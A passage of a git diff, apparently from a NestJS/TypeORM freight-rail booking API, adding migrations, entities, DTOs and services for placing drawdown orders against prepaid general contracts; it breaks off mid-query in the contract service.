000000000..6ec9d60cd --- /dev/null +++ b/apps/edr-freight-api/src/migrations/1792000000000-AddUnitOfMeasureToCargoTypes.ts @@ -0,0 +1,19 @@ +import { MigrationInterface, QueryRunner } from 'typeorm'; + +export class AddUnitOfMeasureToCargoTypes1792000000000 + implements MigrationInterface +{ + name = 'AddUnitOfMeasureToCargoTypes1792000000000'; + + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.query( + `ALTER TABLE freight.cargo_types ADD COLUMN IF NOT EXISTS unit_of_measure VARCHAR(16);`, + ); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query( + `ALTER TABLE freight.cargo_types DROP COLUMN IF EXISTS unit_of_measure;`, + ); + } +} diff --git a/apps/edr-freight-api/src/migrations/1792000000001-AddBookingTypeAndContractFields.ts b/apps/edr-freight-api/src/migrations/1792000000001-AddBookingTypeAndContractFields.ts new file mode 100644 index 000000000..c55186a38 --- /dev/null +++ b/apps/edr-freight-api/src/migrations/1792000000001-AddBookingTypeAndContractFields.ts @@ -0,0 +1,39 @@ +import { MigrationInterface, QueryRunner } from 'typeorm'; + +export class AddBookingTypeAndContractFields1792000000001 + implements MigrationInterface +{ + name = 'AddBookingTypeAndContractFields1792000000001'; + + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.query( + `ALTER TABLE freight.bookings ADD COLUMN IF NOT EXISTS booking_type VARCHAR(20) NOT NULL DEFAULT 'ONE_TIME';`, + ); + await queryRunner.query( + `ALTER TABLE freight.bookings ADD COLUMN IF NOT EXISTS expires_at TIMESTAMPTZ;`, + ); + // General contracts have no shipment date at creation — relax the NOT NULL. + await queryRunner.query( + `ALTER TABLE freight.bookings ALTER COLUMN scheduled_date DROP NOT NULL;`, + ); + await queryRunner.query( + `CREATE INDEX IF NOT EXISTS idx_bookings_booking_type ON freight.bookings (booking_type);`, + ); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query( + `DROP INDEX IF EXISTS freight.idx_bookings_booking_type;`, + ); + // Reinstate NOT NULL only if no null rows exist (general contracts would block it). + await queryRunner.query( + `ALTER TABLE freight.bookings ALTER COLUMN scheduled_date SET NOT NULL;`, + ); + await queryRunner.query( + `ALTER TABLE freight.bookings DROP COLUMN IF EXISTS expires_at;`, + ); + await queryRunner.query( + `ALTER TABLE freight.bookings DROP COLUMN IF EXISTS booking_type;`, + ); + } +} diff --git a/apps/edr-freight-api/src/migrations/1792000000002-CreateBookingOrders.ts b/apps/edr-freight-api/src/migrations/1792000000002-CreateBookingOrders.ts new file mode 100644 index 000000000..ceb98b5d1 --- /dev/null +++ b/apps/edr-freight-api/src/migrations/1792000000002-CreateBookingOrders.ts @@ -0,0 +1,74 @@ +import { MigrationInterface, QueryRunner, Table, TableIndex } from 'typeorm'; + +export class CreateBookingOrders1792000000002 implements MigrationInterface { + name = 'CreateBookingOrders1792000000002'; + + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.createTable( + new Table({ + schema: 'freight', + name: 'booking_orders', + columns: [ + { name: 'id', type: 'uuid', isPrimary: true, generationStrategy: 'uuid', default: 'gen_random_uuid()' }, + { name: 'reference', type: 'varchar', length: '64', isUnique: true }, + { name: 'contract_booking_id', type: 'uuid' }, + { name: 'booking_id', type: 'uuid', isNullable: true }, + { name: 'company_id', type: 'uuid', isNullable: true }, + { name: 'scheduled_date', type: 'timestamptz' }, + { name: 'status', type: 'varchar', length: '40', default: "'PAID'" }, + { name: 'scheduling_status', type: 'varchar', length: '30', default: "'NOT_SCHEDULED'" }, + { name: 'train_schedule_id', type: 'uuid', isNullable: true }, + { name: 'created_at', type: 'timestamptz', default: 'now()' }, + { name: 'updated_at', type: 'timestamptz', default: 'now()' }, + { name: 'deleted_at', type: 'timestamptz', isNullable: true }, + ], + }), + true, + ); + + await queryRunner.createIndex( + 'freight.booking_orders', + new TableIndex({ name: 'idx_booking_orders_contract', columnNames: ['contract_booking_id'] }), + ); + await queryRunner.createIndex( + 'freight.booking_orders', + new TableIndex({ name: 'idx_booking_orders_company', columnNames: ['company_id'] }), + ); + + await queryRunner.createTable( + new Table({ + schema: 'freight', + name: 'booking_order_lines', + columns: [ + { name: 'id', type: 'uuid', isPrimary: true, generationStrategy: 'uuid', default: 'gen_random_uuid()' }, + { name: 'order_id', type: 'uuid' }, + { name: 'container_type_id', type: 'uuid', isNullable: true }, + { name: 'quantity', type: 'numeric', precision: 12, scale: 3 }, + { name: 'created_at', type: 'timestamptz', default: 'now()' }, + { name: 'updated_at', type: 'timestamptz', default: 'now()' }, + { name: 'deleted_at', type: 'timestamptz', isNullable: true }, + ], + foreignKeys: [ + { + columnNames: ['order_id'], + referencedSchema: 'freight', + referencedTableName: 'booking_orders', + referencedColumnNames: ['id'], + onDelete: 'CASCADE', + }, + ], + }), + true, + ); + + await queryRunner.createIndex( + 'freight.booking_order_lines', + new TableIndex({ name: 'idx_booking_order_lines_order', columnNames: ['order_id'] }), + ); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.dropTable('freight.booking_order_lines', true); + await queryRunner.dropTable('freight.booking_orders', true); + } +} diff --git a/apps/edr-freight-api/src/migrations/1792000000003-SeedGeneralContractPeriod.ts b/apps/edr-freight-api/src/migrations/1792000000003-SeedGeneralContractPeriod.ts new file mode 100644 index 000000000..e6c0708d4 --- /dev/null +++ b/apps/edr-freight-api/src/migrations/1792000000003-SeedGeneralContractPeriod.ts @@ -0,0 +1,46 @@ +import { MigrationInterface, QueryRunner } from 'typeorm'; + +/** + * Seeds the global "general contract period" setting (months). Stored as a + * dropdown_settings row with a single option whose `value` holds the month count + * so backoffice can manage it through the existing settings UI later. + */ +export class SeedGeneralContractPeriod1792000000003 + implements MigrationInterface +{ + name = 'SeedGeneralContractPeriod1792000000003'; + private readonly code = 'general_contract_period'; + + public async up(queryRunner: QueryRunner): Promise { + const existing = await queryRunner.query( + `SELECT id FROM freight.dropdown_settings WHERE code = $1 LIMIT 1;`, + [this.code], + ); + if (existing.length > 0) return; + + const inserted = await queryRunner.query( + `INSERT INTO freight.dropdown_settings (code, label, description, multiple) + VALUES ($1, $2, $3, false) + RETURNING id;`, + [ + this.code, + 'General Contract Period (months)', + 'How many months a general contract stays open for ordering after activation.', + ], + ); + const settingId = inserted[0].id; + + await queryRunner.query( + `INSERT INTO freight.dropdown_options (setting_id, value, label, display_order) + VALUES ($1, $2, $3, 0);`, + [settingId, '3', '3 months'], + ); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query( + `DELETE FROM freight.dropdown_settings WHERE code = $1;`, + [this.code], + ); + } +} diff --git a/apps/edr-freight-api/src/modules/booking-orders/booking-orders.controller.ts b/apps/edr-freight-api/src/modules/booking-orders/booking-orders.controller.ts new file mode 100644 index 000000000..6821c4e7d --- /dev/null +++ b/apps/edr-freight-api/src/modules/booking-orders/booking-orders.controller.ts @@ -0,0 +1,53 @@ +import { + Body, + Controller, + Get, + Param, + ParseUUIDPipe, + Post, + Query, +} from '@nestjs/common'; +import { CurrentUser } from '@edr/api-common'; +import type { TCurrentUser } from '@tria-plc/api-common/modules/auth/types/current-user.type'; +import { ApiOperation, ApiTags } from '@nestjs/swagger'; +import { BookingOrdersService } from './booking-orders.service'; +import { CreateBookingOrderDto } from './dto/create-booking-order.dto'; +import { GeneralContractService } from './general-contract.service'; + +@ApiTags('Booking Orders') +@Controller('booking-orders') +export class BookingOrdersController { + constructor( + private readonly ordersService: BookingOrdersService, + private readonly generalContractService: GeneralContractService, + ) {} + + @Post() + @ApiOperation({ summary: 'Place a drawdown order against a general contract' }) + async create( + @Body() dto: CreateBookingOrderDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.ordersService.create(dto, user?.id); + } + + @Get() + @ApiOperation({ summary: 'List orders placed against a contract' }) + async list(@Query('contractBookingId', ParseUUIDPipe) contractBookingId: string) { + return this.ordersService.listByContract(contractBookingId); + } + + @Get('contract/:id/pool') + @ApiOperation({ + summary: 'Contracted / ordered / remaining quantities for a general contract', + }) + async pool(@Param('id', ParseUUIDPipe) id: string) { + return this.generalContractService.getQuantityLines(id); + } + + @Get(':id') + @ApiOperation({ summary: 'Get a single booking order' }) + async findOne(@Param('id', ParseUUIDPipe) id: string) { + return this.ordersService.findById(id); + } +} diff --git a/apps/edr-freight-api/src/modules/booking-orders/booking-orders.module.ts b/apps/edr-freight-api/src/modules/booking-orders/booking-orders.module.ts new file mode 100644 index 000000000..c8ea869be --- /dev/null +++ b/apps/edr-freight-api/src/modules/booking-orders/booking-orders.module.ts @@ -0,0 +1,30 @@ +import { forwardRef, Module } from '@nestjs/common'; +import { TypeOrmModule } from '@nestjs/typeorm'; +import { BookingsModule } from '../bookings/bookings.module'; +import { CompaniesModule } from '../companies/companies.module'; +import { DropdownSettingsModule } from '../dropdown-settings/dropdown-settings.module'; +import { TrainSchedulingModule } from '../train-scheduling/train-scheduling.module'; +import { BookingOrdersController } from './booking-orders.controller'; +import { BookingOrdersRepository } from './booking-orders.repository'; +import { BookingOrdersService } from './booking-orders.service'; +import { BookingOrder } from './entities/booking-order.entity'; +import { BookingOrderLine } from './entities/booking-order-line.entity'; +import { GeneralContractService } from './general-contract.service'; + +@Module({ + imports: [ + TypeOrmModule.forFeature([BookingOrder, BookingOrderLine]), + BookingsModule, + CompaniesModule, + DropdownSettingsModule, + forwardRef(() => TrainSchedulingModule), + ], + controllers: [BookingOrdersController], + providers: [ + BookingOrdersService, + BookingOrdersRepository, + GeneralContractService, + ], + exports: [BookingOrdersService, GeneralContractService], +}) +export class BookingOrdersModule {} diff --git a/apps/edr-freight-api/src/modules/booking-orders/booking-orders.repository.ts b/apps/edr-freight-api/src/modules/booking-orders/booking-orders.repository.ts new file mode 100644 index 000000000..c45029b2b --- /dev/null +++ b/apps/edr-freight-api/src/modules/booking-orders/booking-orders.repository.ts @@ -0,0 +1,41 @@ +import { BaseRepository } from '@edr/api-common'; +import { Injectable } from '@nestjs/common'; +import { InjectRepository } from '@nestjs/typeorm'; +import { Repository } from 'typeorm'; +import { BookingOrder } from './entities/booking-order.entity'; + +@Injectable() +export class BookingOrdersRepository extends BaseRepository { + constructor( + @InjectRepository(BookingOrder) + repository: Repository, + ) { + super(repository); + } + + /** Orders placed against a given contract, newest first, with their lines. */ + findByContract(contractBookingId: string): Promise { + return this.repository.find({ + where: { contractBookingId }, + relations: { lines: { containerType: true }, booking: true }, + order: { createdAt: 'DESC' }, + }); + } + + override findById(id: string): Promise { + return this.repository.findOne({ + where: { id }, + relations: { lines: { containerType: true }, booking: true, contractBooking: true }, + }); + } + + /** Count this calendar year's orders, for reference generation. */ + async countByYear(year: number): Promise { + const start = new Date(Date.UTC(year, 0, 1)); + const end = new Date(Date.UTC(year + 1, 0, 1)); + return this.repository + .createQueryBuilder('o') + .where('o.createdAt >= :start AND o.createdAt < :end', { start, end }) + .getCount(); + } +} diff --git a/apps/edr-freight-api/src/modules/booking-orders/booking-orders.service.ts b/apps/edr-freight-api/src/modules/booking-orders/booking-orders.service.ts new file mode 100644 index 000000000..1a75c7914 --- /dev/null +++ b/apps/edr-freight-api/src/modules/booking-orders/booking-orders.service.ts @@ -0,0 +1,293 @@ +import { + BadRequestException, + forwardRef, + Inject, + Injectable, + Logger, + NotFoundException, +} from '@nestjs/common'; +import { DataSource } from 'typeorm'; +import { BookingsRepository } from '../bookings/bookings.repository'; +import { Booking } from '../bookings/entities/booking.entity'; +import { BookingContainer } from '../bookings/entities/booking-container.entity'; +import { CompaniesService } from '../companies/companies.service'; +import { ContainerType } from '../rule-engine/entities/container-type.entity'; +import { BookingBatchService } from '../train-scheduling/booking-batch.service'; +import { TrainSchedulingService } from '../train-scheduling/train-scheduling.service'; +import { eatDay } from '../train-scheduling/batch-window.util'; +import { BookingOrdersRepository } from './booking-orders.repository'; +import { CreateBookingOrderDto } from './dto/create-booking-order.dto'; +import { BookingOrder } from './entities/booking-order.entity'; +import { BookingOrderLine } from './entities/booking-order-line.entity'; +import { GeneralContractService } from './general-contract.service'; + +@Injectable() +export class BookingOrdersService { + private readonly logger = new Logger(BookingOrdersService.name); + + constructor( + private readonly dataSource: DataSource, + private readonly ordersRepository: BookingOrdersRepository, + private readonly bookingsRepository: BookingsRepository, + private readonly companiesService: CompaniesService, + private readonly generalContractService: GeneralContractService, + @Inject(forwardRef(() => BookingBatchService)) + private readonly bookingBatchService: BookingBatchService, + @Inject(forwardRef(() => TrainSchedulingService)) + private readonly trainSchedulingService: TrainSchedulingService, + ) {} + + /** Orders placed against a contract, with their lines and child booking. */ + listByContract(contractBookingId: string): Promise { + return this.ordersRepository.findByContract(contractBookingId); + } + + findById(id: string): Promise { + return this.ordersRepository.findById(id); + } + + /** + * Place a drawdown order against an ACTIVE general contract. + * + * Validates the requested quantities against the remaining pool, then spawns a + * ONE_TIME child Booking (PAID + FULLY_EXECUTED, inheriting the contract's + * route/cargo/service) so it flows through the existing train-scheduling + * pipeline. The order row is the ledger entry linking contract → child booking. + */ + async create( + dto: CreateBookingOrderDto, + userId?: string, + ): Promise { + const contract = await this.bookingsRepository.findById(dto.contractBookingId); + if (!contract) { + throw new NotFoundException(`Contract ${dto.contractBookingId} not found`); + } + if (!this.generalContractService.isGeneralContract(contract)) { + throw new BadRequestException('Booking is not a general contract'); + } + if (contract.status !== 'CONTRACT_ACTIVE') { + throw new BadRequestException( + `Contract is ${contract.status} — orders can only be placed against an ACTIVE contract`, + ); + } + if (contract.expiresAt && contract.expiresAt.getTime() <= Date.now()) { + throw new BadRequestException('Contract ordering window has expired'); + } + + // The customer placing the order must own the contract. + if (userId && !(await this.userOwnsContract(userId, contract))) { + throw new BadRequestException('You do not have access to this contract'); + } + + // Validate the route has a departure on the chosen day. + const day = eatDay(new Date(dto.scheduledDate)); + const hasDeparture = + await this.trainSchedulingService.existsOpenScheduleOnRouteDay( + contract.originYardId, + contract.destinationYardId, + day, + ); + if (!hasDeparture) { + throw new BadRequestException( + 'No departures available on the selected day for this route', + ); + } + + // Validate each line against the remaining pool. + const poolLines = await this.generalContractService.getQuantityLines( + contract.id, + ); + const isContainer = contract.freightType === 'CONTAINER'; + for (const line of dto.lines) { + if (line.quantity <= 0) { + throw new BadRequestException('Order quantities must be greater than zero'); + } + const key = isContainer ? (line.containerTypeId ?? '') : ''; + const poolLine = poolLines.find((p) => (p.containerTypeId ?? '') === key); + if (!poolLine) { + throw new BadRequestException( + isContainer + ? `Container type ${line.containerTypeId} is not part of this contract` + : 'This contract has no matching quantity pool', + ); + } + if (line.quantity > poolLine.remainingQuantity) { + throw new BadRequestException( + `Requested ${line.quantity} exceeds remaining ${poolLine.remainingQuantity}` + + (poolLine.containerTypeName ? ` for ${poolLine.containerTypeName}` : ''), + ); + } + } + + // Persist the order + its child shipment booking atomically. + const order = await this.dataSource.transaction(async (manager) => { + const childBooking = await this.spawnChildBooking(contract, dto, manager); + + const reference = await this.generateReference(); + const orderRow = manager.create(BookingOrder, { + reference, + contractBookingId: contract.id, + bookingId: childBooking.id, + companyId: contract.companyId ?? null, + scheduledDate: new Date(dto.scheduledDate), + status: 'PAID', + schedulingStatus: 'NOT_SCHEDULED', + }); + const savedOrder = await manager.save(orderRow); + + const lines = dto.lines.map((l) => + manager.create(BookingOrderLine, { + orderId: savedOrder.id, + containerTypeId: isContainer ? (l.containerTypeId ?? null) : null, + quantity: l.quantity, + }), + ); + await manager.save(lines); + savedOrder.lines = lines; + return savedOrder; + }); + + // Feed the child booking into the day-pool batch so it allocates to a train. + try { + await this.bookingBatchService.processRouteDay({ + originYardId: contract.originYardId, + destinationYardId: contract.destinationYardId, + day, + }); + } catch (err) { + this.logger.error( + `Batch fill after order ${order.reference} failed: ${err instanceof Error ? err.message : String(err)}`, + ); + } + + // Close the contract once its pool is exhausted. + if (await this.generalContractService.isExhausted(contract.id)) { + await this.dataSource + .getRepository(Booking) + .update(contract.id, { status: 'CONTRACT_CLOSED' }); + this.logger.log( + `Contract ${contract.reference} CLOSED — quantity exhausted`, + ); + } + + return (await this.ordersRepository.findById(order.id)) ?? order; + } + + /** + * Create the ONE_TIME child booking for an order, inheriting the contract's + * shipment context and entering the queue already PAID + FULLY_EXECUTED. + */ + private async spawnChildBooking( + contract: Booking, + dto: CreateBookingOrderDto, + manager: import('typeorm').EntityManager, + ): Promise { + const reference = await this.generateChildBookingReference(); + const now = new Date(); + const isContainer = contract.freightType === 'CONTAINER'; + + // Sum line quantities × the contract's per-unit weight for the child total. + const containerByType = new Map( + (contract.bookingContainers ?? []).map((c) => [c.containerTypeId, c]), + ); + let totalWeight = 0; + if (isContainer) { + for (const line of dto.lines) { + const src = containerByType.get(line.containerTypeId ?? ''); + const vgmPerUnit = src ? Number(src.vgmPerUnitTons) : 0; + totalWeight += vgmPerUnit * line.quantity; + } + } else { + totalWeight = dto.lines.reduce((sum, l) => sum + l.quantity, 0); + } + + const child = manager.create(Booking, { + reference, + companyId: contract.companyId ?? null, + companyProfileId: contract.companyProfileId ?? null, + isGovernment: contract.isGovernment, + governmentInstitution: contract.governmentInstitution ?? null, + contractType: contract.contractType, + previousContractId: contract.id, + serviceTypeId: contract.serviceTypeId, + firstMilePickupAddress: contract.firstMilePickupAddress ?? null, + lastMileDeliveryAddress: contract.lastMileDeliveryAddress ?? null, + equipmentReturn: contract.equipmentReturn, + originYardId: contract.originYardId, + destinationYardId: contract.destinationYardId, + tradeDirection: contract.tradeDirection, + freightType: contract.freightType, + cargoTypeId: contract.cargoTypeId ?? null, + cargoFreeText: contract.cargoFreeText ?? null, + shippingLineId: contract.shippingLineId ?? null, + cargoTotalWeightVgm: totalWeight, + isHazardous: contract.isHazardous, + paymentCurrency: contract.paymentCurrency, + bookingType: 'ONE_TIME', + scheduledDate: new Date(dto.scheduledDate), + // Already covered by the contract's one-time payment: enter the pool ready + // and paid so the batch engine reserves → allocates it immediately. + status: 'FULLY_EXECUTED', + paymentStatus: 'PAID', + fullyExecutedAt: now, + customerSignedAt: now, + priorityScore: contract.priorityScore, + totalAmount: 0, + allowConsolidation: false, + schedulingStatus: 'NOT_SCHEDULED', + }); + const savedChild = await manager.save(child); + + if (isContainer) { + for (const line of dto.lines) { + const src = containerByType.get(line.containerTypeId ?? ''); + const ct = line.containerTypeId + ? await manager.getRepository(ContainerType).findOne({ + where: { id: line.containerTypeId }, + }) + : null; + const wagonsPerUnit = ct ? Number(ct.wagonsPerUnit) : 1; + const vgmPerUnit = src ? Number(src.vgmPerUnitTons) : 0; + const row = manager.create(BookingContainer, { + bookingId: savedChild.id, + containerTypeId: line.containerTypeId ?? null, + quantity: line.quantity, + vgmPerUnitTons: vgmPerUnit, + totalVgmTons: vgmPerUnit * line.quantity, + wagonsRequired: Math.ceil(line.quantity * wagonsPerUnit), + isOverweight: false, + }); + await manager.save(row); + } + } + + return savedChild; + } + + private async userOwnsContract( + userId: string, + contract: Booking, + ): Promise { + if (!contract.companyId) return true; // government / staff-created + try { + const { company } = await this.companiesService.getCompanyInfoByUserId( + userId, + ); + return company.id === contract.companyId; + } catch { + return false; + } + } + + private async generateReference(): Promise { + const year = new Date().getFullYear(); + const count = await this.ordersRepository.countByYear(year); + return `ORD-${year}-${String(count + 1).padStart(6, '0')}`; + } + + private async generateChildBookingReference(): Promise { + const year = new Date().getFullYear(); + const count = await this.bookingsRepository.countByYear(year); + return `BK-${year}-${String(count + 1).padStart(6, '0')}`; + } +} diff --git a/apps/edr-freight-api/src/modules/booking-orders/dto/contract-view.dto.ts b/apps/edr-freight-api/src/modules/booking-orders/dto/contract-view.dto.ts new file mode 100644 index 000000000..6c0c86669 --- /dev/null +++ b/apps/edr-freight-api/src/modules/booking-orders/dto/contract-view.dto.ts @@ -0,0 +1,23 @@ +import { ApiProperty } from '@nestjs/swagger'; +import { CargoUnitOfMeasure } from '@edr/types'; + +/** A single contracted/ordered/remaining pool line for a general contract. */ +export class ContractQuantityLineView { + @ApiProperty({ nullable: true, description: 'Container type id (null for bulk/break-bulk)' }) + containerTypeId!: string | null; + + @ApiProperty({ nullable: true }) + containerTypeName!: string | null; + + @ApiProperty({ enum: CargoUnitOfMeasure, nullable: true }) + unitOfMeasure!: CargoUnitOfMeasure | null; + + @ApiProperty() + contractedQuantity!: number; + + @ApiProperty() + orderedQuantity!: number; + + @ApiProperty() + remainingQuantity!: number; +} diff --git a/apps/edr-freight-api/src/modules/booking-orders/dto/create-booking-order.dto.ts b/apps/edr-freight-api/src/modules/booking-orders/dto/create-booking-order.dto.ts new file mode 100644 index 000000000..7043e9704 --- /dev/null +++ b/apps/edr-freight-api/src/modules/booking-orders/dto/create-booking-order.dto.ts @@ -0,0 +1,45 @@ +import { ApiProperty, ApiPropertyOptional } from '@nestjs/swagger'; +import { Transform, Type } from 'class-transformer'; +import { + ArrayMinSize, + IsArray, + IsDateString, + IsNumber, + IsOptional, + IsUUID, + Min, + ValidateNested, +} from 'class-validator'; + +export class CreateBookingOrderLineDto { + @ApiPropertyOptional({ + format: 'uuid', + description: 'Container type for this line (CONTAINER contracts). Omit for bulk/break-bulk.', + }) + @IsOptional() + @IsUUID() + containerTypeId?: string; + + @ApiProperty({ description: 'Quantity to draw down (containers, tons, or items)', minimum: 0 }) + @IsNumber() + @Min(0) + @Transform(({ value }) => Number(value)) + quantity!: number; +} + +export class CreateBookingOrderDto { + @ApiProperty({ format: 'uuid', description: 'The general contract to draw down from' }) + @IsUUID() + contractBookingId!: string; + + @ApiProperty({ example: '2026-07-01T00:00:00.000Z', description: 'Shipment day for this order' }) + @IsDateString() + scheduledDate!: string; + + @ApiProperty({ type: [CreateBookingOrderLineDto] }) + @IsArray() + @ArrayMinSize(1) + @ValidateNested({ each: true }) + @Type(() => CreateBookingOrderLineDto) + lines!: CreateBookingOrderLineDto[]; +} diff --git a/apps/edr-freight-api/src/modules/booking-orders/entities/booking-order-line.entity.ts b/apps/edr-freight-api/src/modules/booking-orders/entities/booking-order-line.entity.ts new file mode 100644 index 000000000..8716cd673 --- /dev/null +++ b/apps/edr-freight-api/src/modules/booking-orders/entities/booking-order-line.entity.ts @@ -0,0 +1,30 @@ +import { BaseEntity } from '@edr/api-common'; +import { Column, Entity, JoinColumn, ManyToOne } from 'typeorm'; +import { ContainerType } from '../../rule-engine/entities/container-type.entity'; +import { BookingOrder } from './booking-order.entity'; + +/** + * One drawn-down quantity line of an order. For CONTAINER contracts there is one + * line per container type (matching the contract's pools); for BULK/BREAK_BULK a + * single line with a null containerTypeId carries the tons/items. + */ +@Entity({ schema: 'freight', name: 'booking_order_lines' }) +export class BookingOrderLine extends BaseEntity { + @Column({ name: 'order_id', type: 'uuid' }) + orderId!: string; + + @ManyToOne(() => BookingOrder, (order) => order.lines, { onDelete: 'CASCADE' }) + @JoinColumn({ name: 'order_id' }) + order?: BookingOrder; + + @Column({ name: 'container_type_id', type: 'uuid', nullable: true }) + containerTypeId?: string | null; + + @ManyToOne(() => ContainerType, { nullable: true }) + @JoinColumn({ name: 'container_type_id' }) + containerType?: ContainerType | null; + + /** Containers (count), tons, or items depending on the contract's freight/UoM. */ + @Column({ name: 'quantity', type: 'numeric', precision: 12, scale: 3 }) + quantity!: number; +} diff --git a/apps/edr-freight-api/src/modules/booking-orders/entities/booking-order.entity.ts b/apps/edr-freight-api/src/modules/booking-orders/entities/booking-order.entity.ts new file mode 100644 index 000000000..5d6857051 --- /dev/null +++ b/apps/edr-freight-api/src/modules/booking-orders/entities/booking-order.entity.ts @@ -0,0 +1,62 @@ +import { BaseEntity } from '@edr/api-common'; +import { SchedulingStatus } from '@edr/types'; +import { Column, Entity, JoinColumn, ManyToOne, OneToMany } from 'typeorm'; +import { Booking } from '../../bookings/entities/booking.entity'; +import { Company } from '../../companies/entities/company.entity'; +import { BookingOrderLine } from './booking-order-line.entity'; + +/** + * A single drawdown against a general contract. Each order spawns its own + * ONE_TIME child Booking (the shipment that enters the train scheduling + * pipeline); this row is the ledger entry linking the contract to that + * shipment and recording the drawn-down quantities. + */ +@Entity({ schema: 'freight', name: 'booking_orders' }) +export class BookingOrder extends BaseEntity { + @Column({ name: 'reference', type: 'varchar', length: 64, unique: true }) + reference!: string; + + /** The general contract (a Booking with bookingType = GENERAL_CONTRACT). */ + @Column({ name: 'contract_booking_id', type: 'uuid' }) + contractBookingId!: string; + + @ManyToOne(() => Booking) + @JoinColumn({ name: 'contract_booking_id' }) + contractBooking?: Booking; + + /** The ONE_TIME child shipment booking spawned for this order. */ + @Column({ name: 'booking_id', type: 'uuid', nullable: true }) + bookingId?: string | null; + + @ManyToOne(() => Booking, { nullable: true }) + @JoinColumn({ name: 'booking_id' }) + booking?: Booking | null; + + /** Denormalized from the contract for fast company-scoped filtering. */ + @Column({ name: 'company_id', type: 'uuid', nullable: true }) + companyId?: string | null; + + @ManyToOne(() => Company, { nullable: true }) + @JoinColumn({ name: 'company_id' }) + company?: Company | null; + + @Column({ name: 'scheduled_date', type: 'timestamptz' }) + scheduledDate!: Date; + + @Column({ name: 'status', type: 'varchar', length: 40, default: 'PAID' }) + status!: string; + + @Column({ + name: 'scheduling_status', + type: 'varchar', + length: 30, + default: SchedulingStatus.NotScheduled, + }) + schedulingStatus!: string; + + @Column({ name: 'train_schedule_id', type: 'uuid', nullable: true }) + trainScheduleId?: string | null; + + @OneToMany(() => BookingOrderLine, (line) => line.order, { cascade: true }) + lines?: BookingOrderLine[]; +} diff --git a/apps/edr-freight-api/src/modules/booking-orders/general-contract.service.ts b/apps/edr-freight-api/src/modules/booking-orders/general-contract.service.ts new file mode 100644 index 000000000..ba382d085 --- /dev/null +++ b/apps/edr-freight-api/src/modules/booking-orders/general-contract.service.ts @@ -0,0 +1,161 @@ +import { Injectable, Logger, NotFoundException } from '@nestjs/common'; +import { BookingType, CargoUnitOfMeasure } from '@edr/types'; +import { DataSource } from 'typeorm'; +import { DropdownSettingsService } from '../dropdown-settings/dropdown-settings.service'; +import { Booking } from '../bookings/entities/booking.entity'; +import { BookingOrder } from './entities/booking-order.entity'; +import { ContractQuantityLineView } from './dto/contract-view.dto'; + +/** Setting code holding the global ordering window (in months) for general contracts. */ +export const CONTRACT_PERIOD_SETTING_CODE = 'general_contract_period'; +/** Fallback when the setting is missing or unparseable. */ +export const DEFAULT_CONTRACT_PERIOD_MONTHS = 3; + +/** + * Owns general-contract concerns that sit alongside the generic booking flow: + * the configurable ordering period, post-payment activation, and computing the + * remaining drawdown pool per contract. + */ +@Injectable() +export class GeneralContractService { + private readonly logger = new Logger(GeneralContractService.name); + + constructor( + private readonly dataSource: DataSource, + private readonly dropdownSettings: DropdownSettingsService, + ) {} + + isGeneralContract(booking: Pick): boolean { + return booking.bookingType === BookingType.GeneralContract; + } + + /** The configured ordering window in months (defaults to 3). */ + async getPeriodMonths(): Promise { + try { + const setting = await this.dropdownSettings.getByCode( + CONTRACT_PERIOD_SETTING_CODE, + ); + const raw = setting.children?.[0]?.value; + const months = Number(raw); + if (Number.isFinite(months) && months > 0) return months; + } catch { + // Setting not seeded yet — fall back to the default. + } + return DEFAULT_CONTRACT_PERIOD_MONTHS; + } + + /** + * Called when a general contract's payment succeeds: mark it ACTIVE (instead of + * entering the train queue like a one-time booking) and stamp the ordering + * window. Idempotent. + */ + async activateAfterPayment(bookingId: string): Promise { + const repo = this.dataSource.getRepository(Booking); + const booking = await repo.findOne({ where: { id: bookingId } }); + if (!booking || !this.isGeneralContract(booking)) return; + if (booking.status === 'CONTRACT_ACTIVE' || booking.status === 'CONTRACT_CLOSED') { + return; + } + + const months = await this.getPeriodMonths(); + const expiresAt = new Date(); + expiresAt.setMonth(expiresAt.getMonth() + months); + + await repo.update(bookingId, { + status: 'CONTRACT_ACTIVE', + paymentStatus: 'PAID', + expiresAt, + }); + this.logger.log( + `General contract ${booking.reference} ACTIVE — ordering window ${months} month(s) (expires ${expiresAt.toISOString()})`, + ); + } + + /** + * The drawdown pool for a contract: contracted vs. ordered vs. remaining, + * per container type for CONTAINER contracts, or a single total line for + * BULK/BREAK_BULK (keyed on a null container type). + */ + async getQuantityLines( + contractBookingId: string, + ): Promise { + const booking = await this.dataSource.getRepository(Booking).findOne({ + where: { id: contractBookingId }, + relations: { bookingContainers: { containerType: true }, cargoType: true }, + }); + if (!booking) throw new NotFoundException(`Contract ${contractBookingId} not found`); + + const ordered = await this.orderedByContainerType(contractBookingId); + + if (booking.freightType === 'CONTAINER') { + return (booking.bookingContainers ?? []).map((c) => { + const orderedQty = ordered.get(c.containerTypeId ?? '') ?? 0; + const contracted = Number(c.quantity); + return { + containerTypeId: c.containerTypeId ?? null, + containerTypeName: c.containerType?.label ?? null, + unitOfMeasure: null, + contractedQuantity: contracted, + orderedQuantity: orderedQty, + remainingQuantity: Math.max(0, contracted - orderedQty), + }; + }); + } + + // BULK / BREAK_BULK — a single pool keyed on the contracted total weight/items. + const orderedQty = ordered.get('') ?? 0; + const contracted = Number(booking.cargoTotalWeightVgm); + const uom: CargoUnitOfMeasure | null = + (booking.cargoType?.unitOfMeasure as CargoUnitOfMeasure | undefined) ?? + CargoUnitOfMeasure.PerTon; + return [ + { + containerTypeId: null, + containerTypeName: null, + unitOfMeasure: uom, + contractedQuantity: contracted, + orderedQuantity: orderedQty, + remainingQuantity: Math.max(0, contracted - orderedQty), + }, + ]; + } + + /** Sum of non-cancelled order line quantities, keyed by container type id ('' = bulk). */ + private async orderedByContainerType( + contractBookingId: string, + ): Promise> { + const rows = await this.dataSource + .getRepository(BookingOrder) + .createQueryBuilder('o') + .innerJoin('o.lines', 'line') + .select('COALESCE(line.container_type_id::text, :empty)', 'key') + .addSelect('SUM(line.quantity)', 'total') + .where('o.contract_booking_id = :contractBookingId', { contractBookingId }) + .andWhere(`o.status NOT IN ('CANCELLED', 'REJECTED')`) + .setParameter('empty', '') + .groupBy('key') + 